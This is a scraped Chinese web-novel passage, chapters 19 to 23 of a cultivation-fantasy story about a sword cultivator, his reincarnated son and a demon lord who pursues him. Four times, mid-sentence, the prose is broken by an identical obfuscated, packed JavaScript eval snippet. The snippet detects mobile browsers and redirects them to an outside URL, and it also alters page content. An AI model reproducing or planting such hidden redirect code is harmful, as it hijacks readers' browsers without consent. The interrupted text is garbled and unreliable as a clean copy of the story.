焦山谦不过随意两招便将宴行打得落花流水,卸了他的胳膊。 宴行吃痛的倒在地上,痛苦哀嚎。 林听风看不下去,赶紧去将宴行的骨头接上。 焦山谦道:“自不量力。” 戚宝见他拿自己师弟撒气,又满口狂言妄语,嚣张到了极点,张口就说:“你这不是以大欺小吗?对自己同门出手,算什么有本事?” “哪里来的小萝卜头,这里有你说话的份吗?”焦山谦居高临下拿眼白看戚宝。 戚宝下意识的走到他爹身边,拽着爹的衣摆,道:“我就是看不惯你的嚣张样。” 说他爹是妖人,仗势欺人,辱骂别人全家死了活该。 “小子。”焦山谦咬牙,而后目光落在冷冷的沈不忘身上,倒也不敢上前,最后思索了一番,嘲笑道,“在我们修仙界,哪有什么长幼,一切都是实力为尊,拳头就是力量。” 戚宝听到这话,立即道:“爹,揍他。” 戚宝话音未落,沈不忘的拳头便落在他的脸上。 焦山谦嚣张的嘴脸被打歪了,他骂骂咧咧的说道:“你以为我会怕你?老子已经练得刀枪不入,钢筋铁骨了。” “砰——”又是一拳。 焦山谦吐了一口血,发现自己的牙齿掉了,顿时瞪大了眼睛。 “看来,牙齿没有练好。”沈不忘淡淡的说道,垂眸看他。 焦山谦拔出腰间佩剑,沈不忘直攻他手腕,漂亮的剑在空中转了一圈,沈不忘转身一脚踢中剑柄,长剑直直的没入门口的石狮子里,只剩剑穗在空中晃着。 焦山谦目瞪口呆,林听风也瞪大了眼睛。 焦山谦以为沈不忘还要动手,赶忙道:“你以大欺小算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751896|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么本事?” 戚宝握紧了小拳头,走到他爹身后,道:“不是你说的么?修仙界没有长幼,实力为尊。” “你……” “剑都握不住,无极宗也不过如此。”沈不忘声音依旧冷淡。 戚宝应和了一句,道:“只是名字取得好,未必是什么大门大派,可能只是野鸡门派。”戚宝想到现代也有很多取的很流弊名字的野鸡大学。 一开始听名字叫无极宗,还激动了一下,还以为是书中写的三大宗之一无极宗。 现在看来,可能是野鸡宗吧。 沈不忘也有些失望,还以为能等到什么厉害的修士,帮戚宝治疗一番,结果就这。 焦山谦被沈不忘看垃圾一样的眼神惹恼了,道:“我们无极宗才不是野鸡宗,你得罪了我们无极宗……” “话多。”又是一拳,焦山谦直接晕了过去。 戚宝觉得他爹还是手下留情的,不像之前打渡妄的时候,一拳就把人打晕了。 沈不忘对人对事还是有分寸的。 林听风喊了声:“前辈……手下留情,他……打不得。” “打不得也打了。”沈不忘转了转手腕,表情依旧冷淡。 宴行此时也垂眸不语,一脸神伤的模样,不知道是在担心沈不忘,还是担心自己未来在无极宗的命运。 焦山谦本家是山河王朝的公侯世家,父亲是一手遮天的摄政王,天资过人,备受他师尊的喜爱,目空一切,没想到一下山就遭受社会的毒打。 沈不忘现在得罪了焦山谦,那以后在王朝和仙门都不好混,没有人会愿意为了一个乡野村夫而得罪王朝第一世家和修真界第一宗门。 余郎财忧心忡忡的将这事告诉了沈不忘。 沈不忘漠然的看了两个少年一眼,目光最后落在宴行身上,道:“与你叔父有一面之缘,现在教你三招保命剑术,你可要学?” “要要。”宴行立即点头如捣蒜,擦干了眼泪,“我要出人头地,我要让宴家名留仙门,就算只我一人。” 戚宝看着他,少年意气风发,满心满眼都是远大的理想。 沈不忘演示了两遍,两个少年看着,也不管他们学会与否,便带着戚宝离开了。 邺城没什么厉害的修士与宗门,沈不忘决定带戚宝离开此处,去奉天城,大年初三便出发。 “好,我也要去大城市看看。”戚宝期待满满。 戚宝吃饱喝足了,睡了个午觉。 再次醒来是被门外吵吵嚷嚷的声音闹醒的,他还不知自己身在何处,迷迷糊糊的揉着眼睛,推开了房门出去,喊了声:“爹,发生了什么?” “宝宝啊。”“儿子,娘好想你啊。”“呜呜,是娘亲不好,你愿意原谅娘亲吗?”“乖儿子,快来娘亲怀里,让娘亲抱抱。”…… 一群女人叽叽喳喳的冲上来,戚宝顿时瞌睡消散,瞪大了眼睛,难以置信的看着满院子全都是花枝招展的女人,迎面扑来各种胭脂水粉的香味。 即便是冬日里,院子里也显得白花盛开般。 20.第 20 章 “阿嚏阿嚏。”戚宝打了两个喷嚏,赶紧捂住鼻子。 那些人还在叽叽喳喳的说自己是戚宝的娘亲,专门来找戚宝的,吵的戚宝耳朵都要聋了。 沈不忘冷着脸呵斥了几声,那些人觉得他生的俊美,又手无缚鸡之力,丝毫不见怕的,反而凑上来诉说衷肠。 “沈郎,你可不能抛弃我们啊。”大胆的女人眨巴着眼睛。 戚宝拧着眉头看她们,一个个都不是正经人,他忽然想到了什么,问道:“你们是看到告示才来找我爹的吗?” “对对对。”“是这样没错。”“我才是你娘,她们都是假的。” 在场的至少有五个女子,环肥燕瘦,叽叽喳喳的,只有一人与之格格不入,坐在远处的石桌前,身材高大,墨发披肩。 沈不忘冷脸道:“我们告示贴在镇上,你们身在邺城,是如何看到的?据我所知,近来马车也都不愿意来往两地之间。” 几个女子面面相觑,顿时哑口无声。 戚宝赶紧道:“爹,既然我们也无法证明她们不是我娘,不如……就全都留下来吧,马上过年了,人多热闹。” 沈不忘:…… 戚宝挨个招呼大家坐,道:“无法证明你们不是,那你们全都是我娘,我都喜欢。” “好嘞,乖儿子,以后娘疼你。”一个壮女子冲过来要抱他。 戚宝吓得往后退了两步,问道:“你叫什么名字?” “乖宝,叫娘就行了。”她笑吟吟的说道。 戚宝连忙摆手,道:“我怎么觉得你长得像男的?”有点辣眼睛。 她脸上笑容一僵,戚宝又道:“那你们先歇着,自个儿找地方住下,我跟我爹去给你们买生活用品。” “崽崽。”沈不忘揉了揉眉心,乖崽这一次这事做的让人十分为难,可是却又不想说重话。 戚宝牵着他爹的手,拉着他离开了家门,当真要去给她们买东西。 朝着不远处走了一段距离,便找了个地方躲了起来。 “爹,我看她们是有人找来的。”戚宝嘀咕道。 沈不忘问:“是余郎财?” 话音刚落,便看到几个女人鬼鬼祟祟的出了门,朝着烟花巷子的方向走去。 沈不忘打算去看个究竟,戚宝却拉住爹的手,不想他爹去。 戚宝要杜绝他爹跟魔尊见面的机会。 “爹,我们会荷花村吧,反正城中也没什么大事了。”戚宝说道。 沈不忘顿了一下,道了好。 两个人见那些女子都离开了,便悄悄回家收拾行囊,打算趁机离开这。 一进门,便看到一个多日未见的男人一身华衣出现在他们院子中。 “你怎么在这?”沈不忘声音冷冷的听不出什么情绪。 渡妄斜眼看他,道:“特来感激你的……救命之恩。” 沈不忘回道:“没有我,你也死不了。”当时不过权宜之计,若是不搬走此人,他便会被困在山中。 渡妄嗤笑:“我偏要感谢。” 戚宝有些无语,觉得这爹有些疯疯癫癫的,还好没有跟他一起长大,不然自己可能也会被带坏。 渡妄瞥了一眼戚宝,俨然知道他在想什么,便道:“这小子不是要找娘么?我可以帮你找到。” “不必。”沈不忘牵着戚宝,越过他,准备进屋子。 渡妄有些忍无可忍的拽住他的胳膊,两个人四目相对,火药味有些浓。 渡妄问:“像你这种不可一世的人,也会被人抛弃吗?” “不知道你在说什么。”沈不忘甩开他的手,拧眉。 戚宝忽然开口问了句:“你为什么说也,你被人抛弃了吗?” 渡妄额角抽了抽,瞪着戚宝。 沈不忘带着戚宝回屋拿行李。 此时,屋子外,两个清隽的少年疾步走来,正是早上挨了打的焦山谦,以及想要劝他回去的林听风。 焦山谦道:“我早上一时不慎着了他的道,此仇不报,以后我如何在无极宗立足。” “师兄,你别如此冲动,此事只要你不说,我不说,我们便没人知道。”林听风规劝道。 焦山谦道:“不是还有个外门的窝囊废吗?” 林听风忽然沉默了,便听焦山谦道:“你可以不说出去,那他了?如果你要我不去寻仇,那好,你去把姓宴的家伙杀了。” 林听风憋了半响,终于说出了一句:“手足相残,有违门规。” “那我就去弄死那个姓沈的,我有师尊给我的伏魔剑。”焦山谦咬牙切齿的,走进了小院。 两个人便看到了花里胡哨的,穿的宛如孔雀开屏的渡妄,焦山谦以为他是风月之人,十分看不上,问了句:“住这院子的主人了?” “我就是,有何贵干?”渡妄回头,幽幽的看着他们。 两个小孩在外头说的话,他可是听得清清楚楚的。 焦山谦往后退了两步,下意识看了一眼腰间的佩戴的新剑,那便是师尊给他的伏魔剑,剑柄上镶嵌了一枚红宝石,是魔域产的,只要有魔气在周围便会发热。 此时,红宝石开始发热,是魔物的气息。 “好啊,原来你就是为祸邺城的魔物,你们欺瞒邺城百姓,拿低等妖物出来糊弄,我今日就代表无极宗除魔卫道,揭穿你们的阴谋。”焦山谦自以为真相了。 他拔剑,朝着渡妄袭击而去。 渡妄甚至都没出手,一个眼神便将他控在原地。 焦山谦手中的长剑越来越热,最后变成了炽热的岩浆一般,他痛苦的尖叫着:“啊,林听风还傻站着干什么?快点来救我。” 林听风也着急啊,但他入门比焦山谦晚,修为也不如他,哪能救得了他。 “前辈,求你放过我师兄吧。”林听风急忙求饶。 “废物。”焦山谦骂骂咧咧。 渡妄却嘲笑道:“废物还敢骂废物。” “前辈,这样下去,我师兄会死的。”林听风急的眼泪都要出来了。 沈不忘跟戚宝收拾好东西,看到的便是渡妄吊打焦山谦,焦山谦看上去都快死了。 戚宝到底生长在社会主义红旗下的好少年,哪里见过这场面,立即拽了拽他爹的衣摆。 沈不忘不由皱眉,道:“不许在我院子里杀人。” “我不杀他就是。”渡妄眯了眯眼睛,魔气汹涌。 戚宝感觉空气一滞,整个人剧烈的咳嗽起来,小臂上受过伤的地方开始变得发热,沈不忘忽然伸手捂住了他的口鼻。 “砰”的一声,伏魔剑上的红宝石因为过度灼热而发生了爆炸。 手握剑柄的焦山谦手掌炸开了一个洞,他倒在地上痛苦的嘶吼着,嚎啕大哭着:“你知道我师父是谁吗?你知道我爹是谁吗?啊啊啊啊……我的手,我的手被废了。” 渡妄冷冷的说道:“无论是谁,来一个杀一个,来一对杀一双,来全宗门,那我就灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764397|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你满门。” “啊啊啊……”焦山谦的手掌被魔气灼烧着,痛苦难忍。 林听风赶紧拿出丹药喂他吃了下去,又拿了外伤药给他上好。 戚宝不敢看,真是太残忍了。 “你小子这么胆小,可当不了我的徒弟。”渡妄笑嘻嘻的说道。 沈不忘一脸厌恶的看他一眼,抱着戚宝就走,门口的马车已经候着了。 渡妄也懒得理会这两个不可一世的小孩,跟着沈不忘他们父子一路,很快又停下了脚步,回头看了一眼那个小院子。 【那仙人心善,饶了小的一命。】 【现在教你一招保命剑招,你可要学?】 心善的沈君钦啊,还真的没有见过啊。 是因为有了那个孩子的缘故吗? 一个骚主意突然涌上心头。 出城的时候已是申时,回到荷花村的时候已是深夜,整个村子都陷入沉眠。 空气冷飕飕的,小院里的水缸都结冰了。 除夕夜是最重要的日子,荷花村也喜庆起来,家家户户都贴上了红纸,为寒冷凄清的村子增添了几分颜色。 戚宝的好朋友二牛也喜气洋洋的换上了新衣服,说是他娘给他买的,他娘也没有要卖掉他。 戚宝道了句恭喜,想到那日二牛娘看他爹的眼神,又看着二牛这么开心,便没有将自己的怀疑说出来。 他将自己从邺城买来的礼物送给二牛。 戚宝还告诉二牛,道:“初三我就要动身去京城了。” 二牛面上喜色顿时耷拉了下来,道:“那你还回来吗?什么时候回来啊?” 戚宝思索了片刻,道:“我要去修仙。” 他跟他爹肯定不会再回荷花村生活,他出去要寻找改变他爹和他命运的机会,他爹也是听林听风说,每十年五月左右,仙门会派人下山收徒,在各地开放测灵根。 邺城也算大城,也会有,但不全。 只有紫霄道管,三清门这种炼药的小宗门才会来这边捡漏。 二牛有些期待,问东问西道:“真的有仙人吗?那我可以修仙吗?不过我觉得我肯定不行,到时候你成了仙人的话,搞不好回来的时候,我都已经成老头了,而你还很年轻。” “不会的,我过几年就会回来看你。”戚宝拍了拍二牛的肩膀。 等到修为高了,那还不是一日千里。 “云戚,你就是我真兄弟。”二牛重重拍了拍戚宝的肩膀。 沈不忘贴完春联,看着戚宝在跟二牛说谈天说地的,不由眼睛弯了弯,淡笑着。 除夕跟平时也没什么区别,戚宝父子两人,以往每年都会陈秋生一起。 陈家父母早年去世了,陈秋生在外读书躲过一劫,只留下了一个大屋子和十几亩田地,沈不忘家住的房子原本也是陈家的,让他们住也不要钱。 不过今年他不在家,听村里人说他十天前跟着正好要上京城的镖局一道去了京城。 戚宝还有些懊恼,道:“早知道跟秋生叔一起走的。” 吃过年夜饭,村里也没什么娱乐活动,点了几个炮竹热闹了一下。 戚宝说过年要守岁,但是到了后半夜却撑不住睡着了。 沈不忘才将他放上床,门外就传来了敲门声,同时还有一股淡淡的血腥气。 “真是,阴魂不散。”沈不忘嘀咕了一句。 他本不想理会,门外的敲门声却不停,而且还越来越重。 21.第 21 章 沈不忘看着床上熟睡的儿子,小脸睡得红扑扑的,脑海里闪过戚宝说的,那人哄骗他,想要收他为徒。 趁着他不注意的时候,哄骗他儿子。 沈不忘眼中闪过一抹杀意,更重要的是,乖崽也如他一样,讨厌此人。 沈不忘轻声出了门,便看到那人奄奄一息浑身是血的躺在自家门口,一副快死了的样子。 渡妄生着一张好皮囊,他此时脸色惨白,仰着脸,漆黑的眸子看着他,脆弱易碎,任谁看到都会心生不忍。 “我被无极宗那小子叫来的人追杀,在这里,我只认识你。”渡妄说着说着又咳嗽了一声,顺势吐出了一口血。 沈不忘看他血淋淋的模样,不由皱紧了眉头,道:“你先别死。” “我就知道,你不忍心见我死。”渡妄伸手拉住他垂在腿边的手,不要脸的摸了摸。 沈不忘瞥了他一眼,他一手捂着自己的胸口,露出羸弱的模样,耷拉着眼皮,好似要昏死过去了。 沈不忘看了一眼天色,此时已是深夜了,荷花村家家户户亮着油灯在守夜,微弱的光照亮了着农村的小屋子。 沈不忘收回目光,又将垂眸看着眼前将死的之刃,他还拉着他的手,大拇指十分不安分的从他手心摸到了手腕。沈不忘反手也抓住了他不老实的大掌,扣住他的手腕。 他是剑修,手特别好看,执剑的模样充满了肃杀的冷意,就如他人一般,此时拉着他,执剑传来温润的暖意,他虽依旧冷然,却多了几分人情味。 是在人间呆久了,所以才染上了人气吧。 渡妄抬眼看他,分别之后他在人间遇上了什么人什么事情,所以才发生了这般变化?是那个小孩的娘让他变了吗? 不论如何,此时的他却更让他心潮汹涌。 沈不忘蹲下来,一只手捏着他的下巴,迫使他张开嘴巴,他垂眸观察着男人的伤势,不在此处。 渡妄赶紧拉着他的手,抚上自己的胸膛,顺着衣襟摸到他的肌肤之上。 外头是寒冬腊月,此人的身体却火热无比,像是灼烧一般的温度,让他不禁蜷起手指。 渡妄不撒手,硬是拉着他的手在自己的身上摸了一遭,最后压在他的小腹的位置,他道:“我此处受了很重的伤,咳咳……丹田灵府受损。” “那你会死吗?”沈不忘问道。 渡妄顿时心神一荡,随后立即又露出虚弱的模样,道:“我受伤太严重了,可能很快就要不行了,如果你想救我的话,我们来双修吧。” “双修?”沈不忘脑海里忽然闪过了一段模糊的画面。 渡妄眼睛火热,道:“我们双修的话,我就能活下去。” “……”沈不忘没有应声,只是抽出自己的手,弯腰将他从地上扶起来,朝着之前的杂物间走去。 渡妄以为他默认了,身子半靠在他身上,他身上有股十分好闻的清冽的荷香,在封印中没休没止的厮混的时候,他最喜欢抱着他一一亲吻他的皮肤,那时候便能闻到这股想问。 当然,高高在上的仙尊,是不许他亲他的。 渡妄舔了舔唇瓣,凑在他耳边低声道:“我会弄轻一点的,你也别叫太大声,就不会吵醒你儿子。” 沈不忘莫名其妙的看他一眼,他看他的眼神宛如想要吃了他一般,凑在他耳边说话时的语气那般熟稔,在他贴上来亲吻他耳垂的时候,他将人推开。 这人说话十分没皮没脸,沈不忘全当他胡言乱语,一句话都听不懂。 渡妄摔在了草堆里,换了个舒服的姿势躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773014|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顺便冲着他张开双臂,道:“来吧,我知道你想骑我。” “今天除夕。”沈不忘说道。 “这是人间的节日,跨年双修。”渡妄恬不知耻的说道。 沈不忘又说:“你不是受了很重的伤吗?” 渡妄差一点忘记演了,立即捂着胸口又咳了两声,道:“是啊,若是你不同我双修,我可能活不过两日。” “好。”沈不忘道。 渡妄突然来了精神,果然某人只是表面冷冰冰,实际上还是很心软的。 他心里有我,他已经做好了双修的准备了。 “不是今日死便好,别人跟我说,除夕里死人晦气。”沈不忘自言自语说着,转身离开了小杂物间。 渡妄:“沈君钦,你给我回来!!” “当年你是怎么勾引我,让我要你,你都忘了吗?你让我跟你双修,我都帮你了,现在你便这般对我?”渡妄口不择言,仔细聆听下,这是他破防的声音。 沈不忘回头看他一眼,森冷的眸子满是杀意,他冷冷威胁:“闭嘴。” 渡妄:…… 他好凶!为什么不愿意双修? 所以沈君钦只在自己想双修的时候才用得上他?超委屈的好吗? 沈君钦,你好狠! 不过他很快就调试好了心态,明天病更重一点,总不能再见死不救吧。 沈君钦第二天压根没有记起他,而是带着戚宝去镇上赶集了。 镇上每年大年初一都会请神仙游街,十分热闹。 戚宝说自己以前都没有去过,好想去。 沈不忘便打算离开荷花村之前带儿子去玩一遭。 渡妄听着父子两欢欢喜喜的样子,气的直咬牙,便也尾随着两个人一道出去。 22.第 22 章 荷花镇虽然不大,每年春节都会举办浩浩荡荡的请神游街活动,祈求一年的风调雨顺,家宅平安。 周遭几十个村的人都会来参加赶集,街道上摩肩接踵,熙熙攘攘十分热闹。 游行的队伍很长,最前头是年轻的男人穿着统一喜庆的服装抬着神像游街,后头有穿着神像的人跟在队伍后面,再后面便是游街的花车了,花车上有人扮演神仙。 扮演神仙的人都是在神庙里投掷过签文的,得到了神仙的认可。 这些神像是为了驱魔除恶,看上去怒目瞠视,威慑力十足。 游行的队伍里还有带着面具表演的,不少的人也都在小贩那买了木质的面具,戴在脸上跟着游行。 戚宝挤到人群前头,十分兴奋的鼓着掌,他还是第一次看到这样的游神场景,觉得事事都新奇。 穿着白衣白袍的带着獠牙面具的白无常,拿着火把,就在戚宝面前表演了一把喷火。 惊得周围的人高声呼喊了一声,戚宝也连连后退了几步,靠在了他爹的腰上。 花车上有个像是祭祀一般的人,又跳又唱的,忽然像是在找什么,停滞了一下,喊了句:“祭典开始!” 所有人都跟着欢呼起来。 “走吧。”沈不忘开口提醒道。 戚宝还想再看一下,问道:“我们不跟上去吗?” 沈不忘尚未回答,人群忽然动了,朝着游行的队伍跟去,戚宝突然被人群冲散,他爹也消失在人群中。 “爹!!” “云戚。” 两个人互相喊了一声,却看不到人。 戚宝忽然灵机一动,朝着花车跑去,灵活的爬上了花车边缘,发现还是看不到他爹,于是又顺着高高的阶梯爬上去,爬了两阶,他便意识到了不对劲。 这是那个有祭祀的花车,栏杆上挂着的都是祭祀品,祭祀面前放个一个装饰过的器物,里面放满了祭祀品,在下面是看不到里面有什么的。 戚宝现在这个视角却是可以看得清楚,里面全是血红色翻滚的……鲜血,血里面还漂浮着各种不知道是什么的五颜六色的看上去像是内脏的玩意儿。 里面加了许多香料,扑面而来一股刺鼻的香味。 戚宝心脏漏跳了一拍,开始头晕。 “云戚!!”他爹被挤在人群最外面。 戚宝心松了一下,很快便看到那个祭祀扭头朝他看来,可怖的面具上如地狱修罗一般,狰狞的笑着,声音沙哑,宛如从地狱传来:“亵渎神明者,血祭。” 戚宝吓了一跳,赶紧朝着栏杆上爬去。 这下所有人都看到了他,惊呼道:“那个小孩怎么上去的?” “快下来?亵渎神明!” “杀了他,杀了他!” 人群中有一个人说话,便有千百个人追着喊。 戚宝脑子有些发昏,又或者他身体太弱小了,看着眼前的面具,世界都变得扭曲起来。 他的手一松,从高高的栏杆上掉了下来。 “云戚!!”他听到他爹的喊声。 一个黑色的身影飞身而起,宛如雨燕一般,穿过喧闹的人群,冲向花车,在小孩掉进全是血水的器皿前,稳稳的将他接住,而后在木板车上踩了一脚,借了力气,飞身离开。 动作一气呵成,十分轻盈。 戚宝躺在他怀里,睁开眼看着他的脸,面上戴着半截红色兔耳面具,这是简易版的面具,为了驱邪脸上还画了两个圆圈,面具下的眼睛和露出的嘴巴下巴,看上去是个很年轻俊朗的男人。 戚宝盯着他看着,那双漆黑的眸子微动,目光看向他。 身后的花车上发出了巨大的炸裂的声音,戚宝回过神来,抬头看去,那坛“血”炸裂开来,朝着空中四散飞开,原来那不是血,是加了香料和花瓣的粉末,会在祭典上当做烟花盛放,在白日里特别醒目。 戚宝看着那盛放漫天的红色的云雾,又看着抱着自己的黑衣男人。 他朝着他爹飞去。 回过神来,已经在人群外了。 身后的人群依旧叫嚷着跟着游行的花车走远了。 沈不忘急匆匆的跑了过来,从陌生男人怀里接过戚宝,道:“多谢。” “嗯。”他轻轻哼了一声,目光一瞬不瞬的看着面前的男人。 他以为天地崩塌都会面不改色的人,此时也露出了焦急的神色,将他儿子提着仔细检查着,一边道:“有没有不舒服,吓到了吗?” “爹,我没事。”戚宝回头看着救了自己的那个人。 沈不忘也看他,问道:“在下沈不忘,敢问阁下叫什么名字?” “我叫……”渡妄推了一下自己面上的面具,可能是有了面具的遮掩,也可能是别的什么原因,他不想跟沈君钦剑拔弩张的相处,温和的笑着,“颜渡。” 戚宝愣了一下,心里有些惊讶,世界上竟会有这么巧的事情吗? 前世的他是个孤儿,一直生活在孤儿院中,后来有人收养了他,他的养父名字便叫颜渡。 进入颜家之后,戚宝这个名字便改了,之后他便随养父姓。 不过戚宝从未见过自己养父长什么样,他来到颜家的时候,养父便已经去世了。 也可能只是巧合,毕竟这是个小说的世界。 “颜大哥,多谢你救了我儿子。”沈不忘温和的回以笑容。 渡妄看着他对自己笑,有些恍惚,心脏更是漏了一拍。 他脑海中忽然闪过一个念头。 “颜大哥,若是不嫌弃,我们一起吃个便饭吧。”沈不忘继续道。 颜渡应了声:“那就恭敬不如从命了。” 戚宝也十分客气的喊了一声:“颜叔叔,你看上去不像是这里的人。” “嗯。”渡妄跟沈君钦并排走着,安稳的,和谐的。 戚宝又问:“你是从哪里来?今天是春节,你没有回家过年吗?” “四海为家。”颜渡笑道。 “那你一定去过很多地方吧?你是修士吗?”戚宝趴在他爹的肩头,好奇的询问。 颜渡嗯了一声,目光时不时看向眉眼温柔的沈君钦。 戚宝感慨了一声:“好羡慕你啊。” “我倒是羡慕你。”颜渡忽然说。 戚宝嘿嘿了一声,目光很快看向一旁的小贩,有不少有趣的小玩意儿。 颜渡看着他,若有所思,转身去买了糖葫芦,小猪形状的叮叮糖,还有个花里胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777748|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哨的风车。 当他把东西送到戚宝面前,戚宝不由瞪大了眼睛,赶紧推辞道:“颜叔叔,我不要的。” “买都买了,你不是一直盯着那边看吗?”颜渡在这个身份下,那个狂傲的魔尊好像真的消失不见了,“也不知道你喜欢哪一个,所以都卖了。” 戚宝犹豫了片刻,还是接了下来,道:“谢谢颜叔叔,你真是个好叔叔。” 沈君钦也道谢:“破费了,小孩子不要给他吃太多糖,容易坏牙。” “学到了。”颜渡一副受教了的姿态。 戚宝不服气的说道:“可是我每天都有刷牙。” 沈君钦捏了捏戚宝的鼻子,道:“还敢顶嘴?” 戚宝笑嘻嘻的也不怕,吃了喝了,又看旁边戴着面具的颜渡,他正沉默的看着他们。 “颜叔叔,你怎么一直戴着面具啊?”戚宝问。 颜渡按了一下脸上的面具,道:“相貌生的丑陋,怕吓着你们。” “没事啊,我们不会以貌取人的,而且……我觉得颜叔叔你这么善良,肯定不会丑。”真话是,你露在外面的下半张脸这么好看,露出来的眼睛也很大很深邃,怎么可能是个丑人? 颜渡沉默了,沈君钦也朝他看来,似乎有些好奇。 颜渡勉强扯了扯嘴角,笑了笑,道:“真的吗?” “对呀?”戚宝道。 颜渡犹豫了片刻,道:“以后有机会再看吧。” “好吧。”戚宝点点头,也不强求,又道,“不过我们很快就要去京城了,以后不知道还有没有机会再见了。” 颜渡看着沈君钦,忽然问了句:“怎么没有看到云戚的娘亲,她不跟你们一起出来吗?” 戚宝顿了一下,表情有些为难。 沈君钦也没有说话,颜渡心里暗自思衬着,他警惕心倒是挺重的,他笑道:“看来是我多言了。” 之后戚宝话少了不少,三个人到了镇上唯一的客栈吃饭。 戚宝忽然想到了什么,道:“呀,柳音住在这里吗?我要把银票还给她。” 叫来了店小二,才知道柳音早就不告而别了,一夜之间突然消失了。 戚宝有些纠结,沈君钦替他夹了菜,道:“有缘自会再见。” 戚宝心道,可能是知道她骗了他们,所以无地自容离开了。 颜渡默默坐在一旁吃饭,没有出声,忽然碗里进来一块肉,是戚宝夹给他的,小孩奶里奶气的,生的十分可爱,道:“颜叔叔,别光吃饭,吃点菜啊。” “好。”颜渡点点头。 接着沈君钦也给他舀了一碗酒酿汤圆,道:“吃点热的。” “哦。” 饭后,三人又出去玩了一下午,回去的时候经过镇上的告示栏,戚宝忽然想到他们曾经张贴了两个告示,过去一看,发现两张都被揭了。 看来破铜烂铁换绝世魔尊,是行不通的。 到了村口,戚宝跟萍水相逢的陌生人挥了挥手,道:“颜渡叔叔,再见。” “嗯,再见。”颜渡也笑着对他们挥挥手。 等到人走远,他笑容瞬间消失,转瞬便回到了小柴房里。 心情这么好,今晚总该跟我双修了吧?! 23.第 23 章 一整天有惊无险,回到家中的时候天色还未黑。 戚宝还是玩得十分开心,满头大汗。 “颜渡叔叔真是个好人,看上去有侠气。”戚宝絮絮叨叨,心里还挂念着他。 这一定是天大的缘分,前世的养父,这辈子又救了他,虽然他知道可能不是一个人。 戚宝精神上还是很亢奋,又有些遗憾,为什么颜渡叔叔不跟他们一起来家里坐坐了?甚至都没有留个联系方式,以后要怎么再见了? 沈不忘摸了一下戚宝的后背,发现衣服都汗湿了,身上还沾了不少庆典上的颜料。 沈不忘说了句:“洗个澡吧。” “好,我去柴房抱点柴禾过来。”戚宝开开心心的跑出去,小小的身体里充满了活力。 沈不忘忽然想到被自己遗落在杂物间的男人,正想叫戚宝回来,便看到戚宝又跑了回来,面露惊恐道:“爹爹爹啊,柴禾堆里有个死人!” 戚宝只是推开门便看到那浑身是血的男人,当即便吓得小脸煞白,退了出来,未仔细看那人生的如何相貌。 任谁开开心心的回到家,打开门一看,家里躺着个死人,那种冲击力,正常人都接受不了。 沈不忘摸了摸他脑袋,安抚道:“没事,爹去看看。” 戚宝瞬间有安全感了,跟在他爹身后,朝着柴房走去,沈不忘推门进去,戚宝就躲在门边,探头探脑的往里面看。 戚宝发现,他爹好像早就知道这里有人一般,他蹲在那人面前,打量了片刻,伸手拍了拍他的脸,自言自语般:“真的死了啊?” “爹,他的手动了一下。”戚宝小声提醒道。 沈不忘看了一眼那只不安分的手,站起身来,道:“你别靠近这,我出去一下。” 戚宝看到那人脑袋偏了一下,这下看清楚了他的模样。 他原本忐忑的一颗心忽然就放进了肚子里。 原来是魔尊啊,这人怎么可能死吗? 他可是堂堂魔尊,与天地同寿的强者,如果吐两口血就死了,简直要被全世界嘲笑,成为千古大笑话了。 戚宝觉得他就是装可怜为了博他爹的同情。 戚宝可以负责人的告诉魔尊,他爹现在对谁都不会生出一点怜爱之情,因为他爹所有的爱都给了本宝宝! 魔尊追他爹追得也挺辛苦的,也不知道他爹失忆了,更不知道其实戚宝是他的儿子。 后来好不容易跟他爹结为道侣,实则只是这一场历劫的替代者,因为沈君钦不想杀死自己的孩子。 沈君钦或许在日渐的相处中爱上了渡妄,不过在爱上他的那一刻,便也是生死别离,手刃爱人。 他们之间的感情注定不会被祝福的,戚宝觉得两个人还是早点分手吧,从故事开始就该BE的。 魔尊啊魔尊,本宝宝自己的劫难不需要你来当替代者,我自己来就行了! 